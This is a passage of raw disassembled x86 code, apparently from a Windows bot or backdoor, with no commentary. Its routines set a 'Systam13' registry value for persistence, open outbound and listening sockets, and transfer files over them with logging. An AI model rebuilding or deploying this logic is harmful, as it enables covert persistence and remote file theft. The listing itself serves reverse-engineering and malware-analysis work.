call near ptr 25E02EAh
pop edi
pop esi
pop ebx
sub_40BC4B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BE75 proc near ; CODE XREF: sub_40EE72+4490p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_444340
mov edi, 0B8h
loc_40BE89: ; CODE XREF: sub_40BE75+33j
cmp byte ptr [esi], 0
jz short loc_40BEAC
push [ebp+arg_0]
push esi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_40BEAC
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_444EC0
jl short loc_40BE89
jmp short loc_40BEEE
; ---------------------------------------------------------------------------
loc_40BEAC: ; CODE XREF: sub_40BE75+17j
; sub_40BE75+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_444340[esi]
push ebx
call sub_417330
push 17h
push [ebp+arg_0]
push ebx
call sub_418C10
push 9Fh
lea eax, dword_444358[esi]
push [ebp+arg_4]
push eax
call sub_418C10
add esp, 24h
inc dword_4313B0
pop ebx
loc_40BEEE: ; CODE XREF: sub_40BE75+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_40BE75 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BEF5 proc near ; CODE XREF: sub_40EE72+5B58p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_42DF90
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 14h
xor edi, edi
mov esi, offset dword_444340
loc_40BF1F: ; CODE XREF: sub_40BEF5+72j
cmp byte ptr [esi], 0
jz short loc_40BF5A
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_42DF84
lea eax, [ebp+var_200]
push 200h
push eax
call sub_41782A
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 2Ch
loc_40BF5A: ; CODE XREF: sub_40BEF5+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_444EC0
jl short loc_40BF1F
pop edi
pop esi
leave
retn
sub_40BEF5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BF6D proc near ; CODE XREF: sub_401000+9Ap
; sub_4010B5+314p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
nop
call near ptr 2600000h
mov ebx, offset dword_443A34
mov edi, 80h
mov esi, offset dword_43FA34
loc_40BF8F: ; CODE XREF: sub_40BF6D+3Dj
cmp byte ptr [ebx], 0
jz short loc_40BFA6
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_418C10
add esp, 0Ch
loc_40BFA6: ; CODE XREF: sub_40BF6D+25j
sub ebx, edi
cmp ebx, esi
jge short loc_40BF8F
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_41782A
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_40BF6D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BFE1 proc near ; CODE XREF: sub_407BDE+15Bp
; ___:00407F15p ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_4193FF
lea eax, [ebp+var_80]
push eax
call sub_40BF6D
add esp, 14h
leave
retn
sub_40BFE1 endp
; =============== S U B R O U T I N E =======================================
sub_40C00D proc near ; CODE XREF: sub_40EE72+5A4Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_43FA34
xor ecx, ecx
loc_40C014: ; CODE XREF: sub_40C00D+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_443A34
jl short loc_40C014
cmp [esp+arg_C], ecx
push esi
mov esi, offset dword_42DFC4
jnz short loc_40C044
push ecx
push [esp+8+arg_8]
push esi
push [esp+10h+arg_4]
push [esp+14h+arg_0]
call sub_40D679
add esp, 14h
loc_40C044: ; CODE XREF: sub_40C00D+1Fj
push esi
call sub_40BF6D
pop ecx
pop esi
retn
sub_40C00D endp
; =============== S U B R O U T I N E =======================================
sub_40C04D proc near ; CODE XREF: sub_402DD7+2AEp
arg_0 = dword ptr 4
push esi
mov esi, offset dword_43FA34
loc_40C053: ; CODE XREF: sub_40C04D+27j
cmp byte ptr [esi], 0
jz short loc_40C068
push [esp+4+arg_0]
push esi
call sub_40A96F
pop ecx
test eax, eax
pop ecx
jnz short loc_40C07A
loc_40C068: ; CODE XREF: sub_40C04D+9j
add esi, 80h
cmp esi, offset dword_443A34
jl short loc_40C053
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_40C07A: ; CODE XREF: sub_40C04D+19j
push 1
pop eax
pop esi
retn
sub_40C04D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C07F proc near ; DATA XREF: sub_40EE72+5B02o
var_31C = byte ptr -31Ch
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp+var_11C]
push 1
rep movsd
xor edx, edx
pop edi
cmp [ebp+var_10], edx
mov [ebp+var_8], 80h
mov [ebp+var_4], edx
mov [eax+110h], edi
jnz short loc_40C0D2
push edx
lea eax, [ebp+var_118]
push [ebp+var_14]
push offset dword_42E018
push eax
push [ebp+var_11C]
call sub_40D679
add esp, 14h
loc_40C0D2: ; CODE XREF: sub_40C07F+33j
cmp [ebp+var_98], 0
jz short loc_40C0F2
lea eax, [ebp+var_98]
push eax
call sub_41781F
test eax, eax
pop ecx
mov [ebp+var_4], eax
jz short loc_40C0F2
mov [ebp+var_8], eax
loc_40C0F2: ; CODE XREF: sub_40C07F+5Aj
; sub_40C07F+6Ej
and [ebp+arg_0], 0
mov esi, offset dword_43FA34
loc_40C0FB: ; CODE XREF: sub_40C07F+D4j
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_8]
jge short loc_40C155
cmp byte ptr [esi], 0
jz short loc_40C144
cmp [ebp+var_98], 0
jz short loc_40C12A
cmp [ebp+var_4], 0
jnz short loc_40C12A
lea eax, [ebp+var_98]
push eax
push esi
call sub_40A96F
pop ecx
test eax, eax
pop ecx
jz short loc_40C144
loc_40C12A: ; CODE XREF: sub_40C07F+90j
; sub_40C07F+96j
push edi
lea eax, [ebp+var_118]
push [ebp+var_14]
push esi
push eax
push [ebp+var_11C]
call sub_40D679
add esp, 14h
loc_40C144: ; CODE XREF: sub_40C07F+87j
; sub_40C07F+A9j
inc [ebp+arg_0]
add esi, 80h
cmp esi, offset dword_443A34
jl short loc_40C0FB
loc_40C155: ; CODE XREF: sub_40C07F+82j
lea eax, [ebp+var_31C]
push offset dword_42DFEC
push eax
call sub_4172B0
xor esi, esi
pop ecx
cmp [ebp+var_10], esi
pop ecx
jnz short loc_40C18F
push esi
lea eax, [ebp+var_31C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_118]
push eax
push [ebp+var_11C]
call sub_40D679
add esp, 14h
loc_40C18F: ; CODE XREF: sub_40C07F+EEj
lea eax, [ebp+var_31C]
push eax
call sub_40BF6D
push [ebp+var_18]
call sub_417078
pop ecx
pop ecx
push esi
call near ptr 25E02EAh
nop
pop edi
pop esi
sub_40C07F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C1AE proc near ; CODE XREF: sub_40AC42+1Ep
; ___:0040E9EFp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, offset dword_42E038
xor esi, esi
mov ebx, offset aSystam13 ; "Systam13"
loc_40C1C1: ; CODE XREF: sub_40C1AE+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call dword_43F61C
cmp [ebp+arg_0], esi
jz short loc_40C1FB
push [ebp+arg_0]
call sub_417AB0
pop ecx
push eax
push [ebp+arg_0]
push 1
push esi
push ebx
push [ebp+var_4]
call dword_43F68C
jmp short loc_40C205
; ---------------------------------------------------------------------------
loc_40C1FB: ; CODE XREF: sub_40C1AE+2Fj
push ebx
push [ebp+var_4]
call dword_43F5D4
loc_40C205: ; CODE XREF: sub_40C1AE+4Bj
push [ebp+var_4]
call dword_43F644
add edi, 8
cmp edi, offset dword_42E050
jb short loc_40C1C1
pop edi
pop esi
pop ebx
leave
retn
sub_40C1AE endp
; =============== S U B R O U T I N E =======================================
sub_40C21E proc near ; CODE XREF: sub_40C259+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_40C253
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_40C237: ; CODE XREF: sub_40C21E+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, dword_424298[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_40C237
pop edi
pop ebx
loc_40C253: ; CODE XREF: sub_40C21E+Ej
mov eax, esi
pop esi
not eax
retn
sub_40C21E endp
; =============== S U B R O U T I N E =======================================
sub_40C259 proc near ; CODE XREF: sub_40CAF1+24Ap
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_417B89
mov [esp+10h+var_10], offset aRb ; "rb"
push [esp+10h+arg_0]
mov esi, eax
call sub_4179A8
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_40C2A8
loc_40C27E: ; CODE XREF: sub_40C259+4Dj
test byte ptr [edi+0Ch], 10h
jnz short loc_40C2AC
inc ebx
push ebx
push esi
call sub_41944F
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40C2A8
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_418A86
add esp, 10h
jmp short loc_40C27E
; ---------------------------------------------------------------------------
loc_40C2A8: ; CODE XREF: sub_40C259+23j
; sub_40C259+39j
xor eax, eax
jmp short loc_40C2C7
; ---------------------------------------------------------------------------
loc_40C2AC: ; CODE XREF: sub_40C259+29j
dec ebx
push ebx
push esi
call sub_40C21E
push esi
mov ebx, eax
call sub_417C3B
push edi
call sub_417900
add esp, 10h
mov eax, ebx
loc_40C2C7: ; CODE XREF: sub_40C259+51j
pop edi
pop esi
pop ebx
retn
sub_40C259 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C2CB proc near ; CODE XREF: sub_40C351+33p
; sub_40C8B4+BCp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_43F6E8
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_40C347
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_417330
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_43F668
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_43F6A8
cmp eax, esi
jnz short loc_40C32C
push [ebp+arg_0]
call dword_43F6EC
test eax, eax
jz short loc_40C347
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_40C32C: ; CODE XREF: sub_40C2CB+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_43F610
cmp eax, esi
jnz short loc_40C34B
push edi
call dword_43F700
loc_40C347: ; CODE XREF: sub_40C2CB+1Bj
; sub_40C2CB+58j
mov eax, esi
jmp short loc_40C34D
; ---------------------------------------------------------------------------
loc_40C34B: ; CODE XREF: sub_40C2CB+73j
mov eax, edi
loc_40C34D: ; CODE XREF: sub_40C2CB+7Ej
pop edi
pop esi
leave
retn
sub_40C2CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C351 proc near ; DATA XREF: sub_40EE72+A88o
var_11B4 = byte ptr -11B4h
var_1B4 = byte ptr -1B4h
var_1AC = byte ptr -1ACh
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 11B4h
call sub_417B30
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1B4]
rep movsd
push 1
pop esi
push [ebp+var_14]
mov [eax+1B0h], esi
lea eax, [ebp+var_1AC]
push eax
call sub_40C2CB
mov ebx, eax
pop ecx
cmp ebx, 0FFFFFFFFh
pop ecx
jnz short loc_40C3E4
lea eax, [ebp+var_11B4]
push offset dword_42E0D4
push eax
call sub_4172B0
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_40C3C7
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_40D679
add esp, 14h
loc_40C3C7: ; CODE XREF: sub_40C351+59j
lea eax, [ebp+var_11B4]
push eax
call sub_40BF6D
push [ebp+var_10]
call sub_417078
pop ecx
pop ecx
push esi
nop
call near ptr 25E02EAh
loc_40C3E4: ; CODE XREF: sub_40C351+3Fj
push offset byte_43C80C
push ebx
call sub_40B56C
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_40C44F
lea eax, [ebp+var_11B4]
push offset dword_42E094
push eax
call sub_4172B0
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_40C42B
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_40D679
add esp, 14h
loc_40C42B: ; CODE XREF: sub_40C351+BDj
lea eax, [ebp+var_11B4]
push eax
call sub_40BF6D
pop ecx
push ebx
call dword_43F700
push [ebp+var_10]
call sub_417078
pop ecx
push esi
nop
call near ptr 25E02EAh
loc_40C44F: ; CODE XREF: sub_40C351+A3j
push 64h
nop
call near ptr 25F0439h
xor edi, edi
mov esi, 1000h
loc_40C45E: ; CODE XREF: sub_40C351+168j
push esi
lea eax, [ebp+var_11B4]
push edi
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_11B4]
push edi
push esi
push eax
push ebx
call dword_43F680
test eax, eax
jle short loc_40C4BB
lea eax, [ebp+var_11B4]
push offset asc_42A660 ; "\n"
push eax
call sub_4179D0
lea eax, [ebp+var_11B4]
push eax
call sub_40B358
add esp, 0Ch
test eax, eax
jz short loc_40C4BB
push 64h
nop
call near ptr 25F0439h
push 7
call sub_416FA4
test eax, eax
pop ecx
jnz short loc_40C45E
loc_40C4BB: ; CODE XREF: sub_40C351+130j
; sub_40C351+154j
lea eax, [ebp+var_11B4]
push offset dword_42E050
push eax
call sub_4172B0
cmp [ebp+var_8], edi
pop ecx
pop ecx
jnz short loc_40C4EE
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_40D679
add esp, 14h
loc_40C4EE: ; CODE XREF: sub_40C351+180j
lea eax, [ebp+var_11B4]
push eax
call sub_40BF6D
pop ecx
push ebx
call dword_43F700
push [ebp+var_10]
call sub_417078
pop ecx
push edi
nop
call near ptr 25E02EAh
sub_40C351 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C512 proc near ; DATA XREF: sub_40EE72+4A7Eo
var_A04 = byte ptr -0A04h
var_604 = byte ptr -604h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_3FC = byte ptr -3FCh
var_1FC = dword ptr -1FCh
var_1F8 = dword ptr -1F8h
var_1E0 = byte ptr -1E0h
var_DC = byte ptr -0DCh
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1FC]
rep movsd
push 1
xor esi, esi
pop ebx
mov [ebp+var_10], esi
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp+var_C], esi
mov [ebp+var_20], esi
call dword_43F6E8
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_18], edi
jnz short loc_40C560
push offset dword_42E258
jmp loc_40C719
; ---------------------------------------------------------------------------
loc_40C560: ; CODE XREF: sub_40C512+42j
push 10h
lea eax, [ebp+var_30]
push esi
push eax
call sub_417330
add esp, 0Ch
mov [ebp+var_30], 2
push esi
call dword_43F668
mov word ptr [ebp+var_2E], ax
lea eax, [ebp+var_30]
push 10h
push eax
push edi
mov [ebp+var_2E+2], esi
call dword_43F694
test eax, eax
jz short loc_40C59E
push offset dword_42E224
jmp loc_40C719
; ---------------------------------------------------------------------------
loc_40C59E: ; CODE XREF: sub_40C512+80j
lea eax, [ebp+var_1C]
mov [ebp+var_1C], 10h
push eax
lea eax, [ebp+var_30]
push eax
push edi
call dword_43F60C
push [ebp+var_2E]
call dword_43F5A4
mov [ebp+var_4], eax
lea eax, [ebp+var_1E0]
push eax
mov [ebp+arg_0], esi
call sub_417AB0
pop ecx
loc_40C5D0: ; CODE XREF: sub_40C512+EFj
mov ecx, [ebp+arg_0]
mov al, [ebp+ecx+var_1E0]
cmp al, 20h
jnz short loc_40C5E3
push 5Fh
pop eax
jmp short loc_40C5E6
; ---------------------------------------------------------------------------
loc_40C5E3: ; CODE XREF: sub_40C512+CAj
movsx eax, al
loc_40C5E6: ; CODE XREF: sub_40C512+CFj
mov [ebp+ecx+var_604], al
lea eax, [ebp+var_1E0]
inc ecx
push eax
mov [ebp+arg_0], ecx
call sub_417AB0
cmp [ebp+arg_0], eax
pop ecx
jbe short loc_40C5D0
push ebx
push edi
call dword_43F690
test eax, eax
jz short loc_40C619
push offset dword_42E0D4
jmp loc_40C719
; ---------------------------------------------------------------------------
loc_40C619: ; CODE XREF: sub_40C512+FBj
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp+var_1E0]
push 80000000h
push eax
nop
call near ptr 2630000h
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_40C643
push offset dword_42E1F4
jmp loc_40C719
; ---------------------------------------------------------------------------
loc_40C643: ; CODE XREF: sub_40C512+125j
push esi
push eax
call near ptr 2670000h
nop
mov [ebp+arg_0], eax
push eax
movzx eax, word ptr [ebp+var_4]
push eax
push [ebp+var_1FC]
call sub_40AEE0
pop ecx
push eax
call dword_43F6A8
push eax
call dword_43F664
push eax
lea eax, [ebp+var_1E0]
push eax
lea eax, [ebp+var_3FC]
push offset dword_42E1DC
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_3FC]
push esi
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_40D679
add esp, 2Ch
lea eax, [ebp+var_38]
mov [ebp+var_38], 3Ch
mov [ebp+var_34], esi
push eax
push esi
lea eax, [ebp+var_500]
push esi
push eax
push esi
mov [ebp+var_4FC], edi
mov [ebp+var_500], ebx
call dword_43F650
test eax, eax
jg short loc_40C6F3
push esi
lea eax, [ebp+var_DC]
push [ebp+var_54]
push offset dword_42E1B4
push eax
push [ebp+var_1FC]
call sub_40D679
jmp loc_40C817
; ---------------------------------------------------------------------------
loc_40C6F3: ; CODE XREF: sub_40C512+1BFj
lea eax, [ebp+var_14]
mov [ebp+var_14], 10h
push eax
lea eax, [ebp+var_48]
push eax
push edi
call dword_43F6FC
cmp eax, 0FFFFFFFFh
mov [ebp+var_1F8], eax
jnz short loc_40C72C
push offset dword_42E180
loc_40C719: ; CODE XREF: sub_40C512+49j
; sub_40C512+87j ...
lea eax, [ebp+var_3FC]
push eax
call sub_4172B0
pop ecx
pop ecx
jmp loc_40C81A
; ---------------------------------------------------------------------------
loc_40C72C: ; CODE XREF: sub_40C512+200j
push edi
call dword_43F700
cmp [ebp+arg_0], esi
jz loc_40C7DE
mov edi, 400h
loc_40C741: ; CODE XREF: sub_40C512+2C3j
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
cmp eax, edi
jge short loc_40C74E
mov [ebp+var_4], eax
loc_40C74E: ; CODE XREF: sub_40C512+237j
push edi
lea eax, [ebp+var_A04]
push esi
push eax
call sub_417330
mov eax, [ebp+arg_0]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push [ebp+var_8]
nop
call near ptr 26B0000h
lea eax, [ebp+var_20]
push esi
push eax
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_8]
nop
call near ptr 2611183h
push esi
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_1F8]
call dword_43F6B8
mov [ebp+var_4], eax
push esi
cdq
add [ebp+var_10], eax
lea eax, [ebp+var_A04]
push edi
push eax
push [ebp+var_1F8]
adc [ebp+var_C], edx
call dword_43F680
cmp eax, ebx
jl loc_40C873
mov eax, [ebp+var_4]
cmp eax, ebx
jl loc_40C873
sub [ebp+arg_0], eax
jnz loc_40C741
mov edi, [ebp+var_18]
loc_40C7DE: ; CODE XREF: sub_40C512+224j
push [ebp+var_8]
nop
call near ptr 2611A31h
push [ebp+var_C]
push [ebp+var_10]
call sub_40D01A
pop ecx
pop ecx
push eax
lea eax, [ebp+var_1E0]
push eax
push [ebp+var_44]
call dword_43F6F4
push eax
lea eax, [ebp+var_3FC]
push offset dword_42E130
push eax
call sub_4172B0
loc_40C817: ; CODE XREF: sub_40C512+1DCj
add esp, 14h
loc_40C81A: ; CODE XREF: sub_40C512+215j
cmp [ebp+var_50], esi
jnz short loc_40C83F
push esi
lea eax, [ebp+var_3FC]
push [ebp+var_54]
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_40D679
add esp, 14h
loc_40C83F: ; CODE XREF: sub_40C512+30Bj
lea eax, [ebp+var_3FC]
push eax
call sub_40BF6D
cmp edi, esi
pop ecx
jbe short loc_40C857
push edi
call dword_43F700
loc_40C857: ; CODE XREF: sub_40C512+33Cj
push [ebp+var_1F8]
call dword_43F700
push [ebp+var_58]
call sub_417078
pop ecx
push esi
nop
call near ptr 25E02EAh
loc_40C873: ; CODE XREF: sub_40C512+2AFj
; sub_40C512+2BAj
push esi
mov esi, offset dword_42E108
push [ebp+var_54]
lea eax, [ebp+var_DC]
push esi
push eax
push [ebp+var_1FC]
call sub_40D679
push esi
call sub_40BF6D
add esp, 18h
push [ebp+var_1F8]
call dword_43F700
push [ebp+var_58]
call sub_417078
pop ecx
push ebx
nop
call near ptr 25E02EAh
sub_40C512 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C8B4 proc near ; DATA XREF: sub_40EE72+7C0o
var_14C4 = byte ptr -14C4h
var_4C4 = byte ptr -4C4h
var_2C4 = byte ptr -2C4h
var_1C0 = dword ptr -1C0h
var_1B8 = byte ptr -1B8h
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 14C4h
call sub_417B30
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1C0]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [ebp+var_8], ebx
mov [eax+1B0h], esi
lea eax, [ebp+var_2C4]
push 104h
push eax
call near ptr 25F048Fh
nop
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_2C4]
push offset aSS_2 ; "%s%s"
push eax
call sub_4172B0
add esp, 10h
lea eax, [ebp+var_2C4]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
nop
call near ptr 2630000h
cmp eax, 0FFFFFFFFh
jnz short loc_40C93E
push offset dword_42E350
jmp short loc_40C984
; ---------------------------------------------------------------------------
loc_40C93E: ; CODE XREF: sub_40C8B4+81j
push eax
call near ptr 2611A31h
nop
lea eax, [ebp+var_2C4]
push offset aAB ; "a+b"
push eax
call sub_4179A8
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jnz short loc_40C966
push offset dword_42E310
jmp short loc_40C984
; ---------------------------------------------------------------------------
loc_40C966: ; CODE XREF: sub_40C8B4+A9j
push [ebp+var_20]
lea eax, [ebp+var_1B8]
push eax
call sub_40C2CB
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+arg_0], eax
jnz short loc_40C997
push offset dword_42E2E0
loc_40C984: ; CODE XREF: sub_40C8B4+88j
; sub_40C8B4+B0j
lea eax, [ebp+var_4C4]
push eax
call sub_4172B0
pop ecx
pop ecx
jmp loc_40CA93
; ---------------------------------------------------------------------------
loc_40C997: ; CODE XREF: sub_40C8B4+C9j
mov esi, 1000h
loc_40C99C: ; CODE XREF: sub_40C8B4+14Ej
push esi
lea eax, [ebp+var_14C4]
push ebx
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_14C4]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_43F680
mov edi, eax
cmp edi, ebx
jz loc_40CA63
cmp edi, 0FFFFFFFFh
jz short loc_40CA04
push [ebp+var_4]
lea eax, [ebp+var_14C4]
push edi
push 1
push eax
call sub_4196EF
add [ebp+var_8], edi
add esp, 10h
push [ebp+var_8]
call dword_43F664
mov [ebp+var_C], eax
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push [ebp+arg_0]
call dword_43F6B8
jmp short loc_40C99C
; ---------------------------------------------------------------------------
loc_40CA04: ; CODE XREF: sub_40C8B4+118j
lea eax, [ebp+var_4C4]
push offset dword_42E108
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_40D679
lea eax, [ebp+var_4C4]
push eax
call sub_40BF6D
push [ebp+var_4]
call sub_417900
add esp, 24h
push [ebp+arg_0]
call dword_43F700
push [ebp+var_1C]
call sub_417078
pop ecx
push 1
nop
call near ptr 25E02EAh
loc_40CA63: ; CODE XREF: sub_40C8B4+10Fj
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_40D01A
pop ecx
pop ecx
push eax
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_1B8]
push eax
lea eax, [ebp+var_4C4]
push offset dword_42E28C
push eax
call sub_4172B0
add esp, 14h
loc_40CA93: ; CODE XREF: sub_40C8B4+DEj
cmp [ebp+var_14], ebx
jnz short loc_40CAB8
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_40D679
add esp, 14h
loc_40CAB8: ; CODE XREF: sub_40C8B4+1E2j
lea eax, [ebp+var_4C4]
push eax
call sub_40BF6D
cmp [ebp+var_4], ebx
pop ecx
jz short loc_40CAD3
push [ebp+var_4]
call sub_417900
pop ecx
loc_40CAD3: ; CODE XREF: sub_40C8B4+214j
cmp [ebp+arg_0], ebx
jbe short loc_40CAE1
push [ebp+arg_0]
call dword_43F700
loc_40CAE1: ; CODE XREF: sub_40C8B4+222j
push [ebp+var_1C]
call sub_417078
pop ecx
push ebx
nop
call near ptr 25E02EAh
sub_40C8B4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CAF1 proc near ; DATA XREF: sub_40EE72+3820o
; sub_40EE72+3F6Fo
var_590 = qword ptr -590h
var_584 = qword ptr -584h
var_510 = byte ptr -510h
var_310 = dword ptr -310h
var_304 = dword ptr -304h
var_2E4 = dword ptr -2E4h
var_2E0 = word ptr -2E0h
var_2CC = dword ptr -2CCh
